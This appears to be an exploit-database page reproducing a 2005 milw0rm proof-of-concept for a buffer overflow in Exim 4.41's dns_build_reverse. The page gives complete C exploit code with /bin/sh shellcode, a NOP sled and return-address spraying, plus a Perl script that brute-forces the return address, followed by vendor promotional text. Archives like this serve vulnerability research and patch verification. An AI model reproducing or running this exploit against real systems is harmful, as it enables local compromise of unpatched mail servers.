Lucene search
K

Exim <= 4.41 dns_build_reverse Local Exploit PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Exim 4.41 dns_build_reverse Local Exploit PoC. Demonstrates iDEFENSE Security Advisory 01.14.05, tested on Debian GNU/Linux. exploit.c uses shellcode to exploit vulnerability

Code

                                                /*
This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

-----------
Brute Force fb.pl:
-----------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
   $hex = sprintf (&#34;0x%x&#34;, $cnt);
   $res = system (&#34;./exploit $hex&#34;);
   printf &#34;$hex : $res\n&#34;;
   $cnt += 4;
}

---------
exploit.c:
---------
*/

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include &#60;stdlib.h&#62;

int main (int argc, char **argv) {

   static char shellcode[]=
   &#34;\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#34;
   &#34;\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e&#34;
   &#34;\x2f\x73\x68\x58&#34;;

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 5];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont &#60; TAMBUF / 4; cont++)
           *( (long *) buffer + cont) = ret;

   for (cont = 0; cont &#60; strlen (shellcode); cont++)
           buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont &#60; INIC_SH; cont++)
           buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf (&#34;RET = 0x%x\n&#34;, ret);
   strcpy (cadena, &#34;::%A&#34;);
   strcat (cadena, buffer);
       execl (&#34;/usr/sbin/exim&#34;, &#34;./exim&#34;, &#34;-bh&#34;, cadena, (char *) 0);
}

// milw0rm.com [2005-01-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation